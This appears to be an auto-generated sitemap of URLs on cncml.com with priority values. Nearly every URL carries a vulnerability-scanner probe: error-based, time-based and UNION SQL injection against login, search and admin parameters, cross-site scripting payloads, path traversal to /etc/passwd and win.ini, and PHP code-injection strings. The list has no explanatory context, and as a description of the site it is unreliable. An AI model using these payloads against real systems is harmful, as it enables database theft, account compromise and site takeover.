http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(16=16)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20'YT'='YT 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(27=77)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20'w9'='w9 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(41=11)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20'fQ'='fQ 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(73=73)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20'rb'='rb 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%22 0.0003 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND%20('Q0'%20LIKE%20'ew 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND%20('Uf'%20LIKE%20'Uf 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND%2011=11%20AND%20('aT'='aT 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND%2014=88%20AND%20('0j'='0j 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND%2028=28%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND%2062=28%20AND%20('ls'='ls 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20OR%2036=71%20AND%20('Eye'='Eye 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20OR%2071=71%20AND%20('Le'='Le 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(51=51)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20('Il'='Il 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(61=61)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20('zC'='zC 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(79=41)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20('7r'='7r 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(84=71)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20('TK'='TK 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login';%20IF(43=43)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login';%20IF(53=61)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(15=15)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20(77=77 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(45=85)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20(45=45 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login);%20IF(11=21)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login);%20IF(89=89)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login,(SELECT%20(CASE%20WHEN%20(11=15)%20THEN%200x6C6F67696E%20ELSE%2011*(SELECT%2011%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login,(SELECT%20(CASE%20WHEN%20(16=16)%20THEN%200x6C6F67696E%20ELSE%2016*(SELECT%2016%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login,(SELECT%20(CASE%20WHEN%20(29=51)%20THEN%200x6C6F67696E%20ELSE%2029*(SELECT%2029%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login,(SELECT%20(CASE%20WHEN%20(43=11)%20THEN%200x6C6F67696E%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login,(SELECT%20(CASE%20WHEN%20(47=47)%20THEN%200x6C6F67696E%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login,(SELECT%20(CASE%20WHEN%20(95=95)%20THEN%200x6C6F67696E%20ELSE%2095*(SELECT%2095%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login/ 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login6633x3X6 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=loginAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=loginAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=loginAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=loginJyI%3D 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=loginalert(42873) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=logine360 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=phpinfo 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=response.write(9412458*9542755) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=set%7Cset&set 0.0001 http://www.cncml.com/connect.php?receive=yes&mod=login&op=callback&referer=index.php&code=6289B863F26AB4C5CB526C085EDABA3A&state=dedc0a3a26d16c9a086ec81984e5b481 0.0001 http://www.cncml.com/connect.php?receive=yes&mod=login&op=callback&referer=webscan%5Cu0027.replace(/.%2b/,/javascript:alert(42873)/.source);// 0.0001 http://www.cncml.com/connect.php?receive=yes&mod=login&op=callback&referer=webscan%bf%5Cu0027.replace(/.%2b/,/javascript:alert(42873)/.source);// 0.0001 http://www.cncml.com/connect.php?redirect:%25%7B23.5*2.35%7D 0.0001 http://www.cncml.com/connect.php?xss_test%3Cscript%3Eprompt(42873);%3C/script%3E 0.0001 http://www.cncml.com/crossdomain.xml 0.0001 http://www.cncml.com/data/ 0.0008 http://www.cncml.com/data/?%22onmouseover='prompt(42873)'bad=%22%3E 0.0001 http://www.cncml.com/data/?/home/explore/category-1)%20AND%20(SELECT%204037%20FROM(SELECT%20COUNT(*),CONCAT(CHAR(58,100,114,108,58),(SELECT%20(CASE%20WHEN%20(4037=4037)%20THEN%201%20ELSE%200%20END)),CHAR(58,122,103,111,58),FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)a)%20AND%20(9909=9909 0.0001 http://www.cncml.com/data/?/people/360webscan?notification_id-360webscan' 0.0001 http://www.cncml.com/data/?/people/ajax/user_actions/uid-1__actions-1)%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1(0x3336307765627363616e),(SELECT%20(CASE%20WHEN%20(8274=8274)%20THEN%201%20ELSE%200%20END)),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20and%20(1=1 0.0001 http://www.cncml.com/data/?/s_tag/hehe%25%27%20union%20select%201,2,3,md5(1122),5,6,7%20from%20go_admin%23 0.0001 http://www.cncml.com/data/?__runfile0123456789=/etc/passwd 0.0001 http://www.cncml.com/data/?__runfile0123456789=c:%5Cwindows%5Cwin.ini 0.0001 http://www.cncml.com/data/?action=course&do=-1%20AND%20(SELECT%202358%20FROM(SELECT%20COUNT(*),CONCAT(0x7765627363616E3A,(SELECT%20(CASE%20WHEN%20(2358=2358)%20THEN%201%20ELSE%200%20END)),0x3A66696E643A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%23&&todo=list 0.0001 http://www.cncml.com/data/?app=vote&controller=vote&action=total&contentid=1%20and%20cast(ascii(substring(version(),1,1))=53%20as%20signed) 0.0001 http://www.cncml.com/data/?app=widget&mod=feedlist&act=getdata&maxId=111&act=loadNew&templateCacheFile=C:%5CWindows%5Cwin.ini 0.0001 http://www.cncml.com/data/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E 0.0001 http://www.cncml.com/data/?gallery-1--1--'%20%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20'--grid.html 0.0001 http://www.cncml.com/data/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/data/?m=info&rewrite=1'%20union%20select%201,concat(0x23,md5(1122),0x23)%20from%20my_admin%20where%20id=1%20--%20a 0.0001 http://www.cncml.com/data/?m=info.detail&id=1-webscan 0.0001 http://www.cncml.com/data/?m=offer&s=offer_list&id=1-webscan%23 0.0001 http://www.cncml.com/data/?m=product&s=list&key=12'%20and%201=(updatexml(1,concat(0x5e24,(select%20md5(1122)),0x5e24),1))%23 0.0001 http://www.cncml.com/data/?m=vote&id=&vid=1,3)%20and%20%20webscan1122%23 0.0001 http://www.cncml.com/data/?mod=account&code=Login_callback&cmd=a&from=../../../robots.txt%00 0.0001 http://www.cncml.com/data/?mod=account&code=Sendcheckmail&uname=-1%2527%20or%201=1%23 0.0001 http://www.cncml.com/data/?mod=wap&code=coupon_input&msgcode=ops-success&last%5B%5D==1%20union%20/*!select*/%201,1,1,1,1,1,1,1234567890,1%20from%20cenwor_system_members 0.0001 http://www.cncml.com/data/?overview 0.0001 http://www.cncml.com/data/?plugins&area=&class=u_sel&name=work_&q=areas&type=p,c&value=1/**/and/**/extractvalue(1,concat(0x5c,md5(1122)));-- 0.0001 http://www.cncml.com/data/?plugins&q=area&name=type=p,c&area=1&area_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/data/?plugins&q=prosite&site_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/data/?product-75-1@%7C1122%22%3E%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%20-index.html 0.0001 http://www.cncml.com/data/?question/search/%27%75nion%20select%201,2,3,4,5,6,7,8,md5(1122),10,11,12,13,14,15,16,17,18,19,20%23 0.0001 http://www.cncml.com/data/?question/search/tag:0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/data/?question/tag/0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/data/?s=/abc/abc/abc/$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D/ 0.0001 http://www.cncml.com/data/?s=abc~abc~abc~$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D 0.0001 http://www.cncml.com/data/?tag=test'%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1('360webscan'),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/data/?user&q=action/check_email&email=%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x7765627363616e%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 0.0001 http://www.cncml.com/data/?user&q=login&&q=check_email&email=test@sec.org%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/data/?user&q=login&&q=check_username&username=only_test%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/data/?user-getpass-1' 0.0001 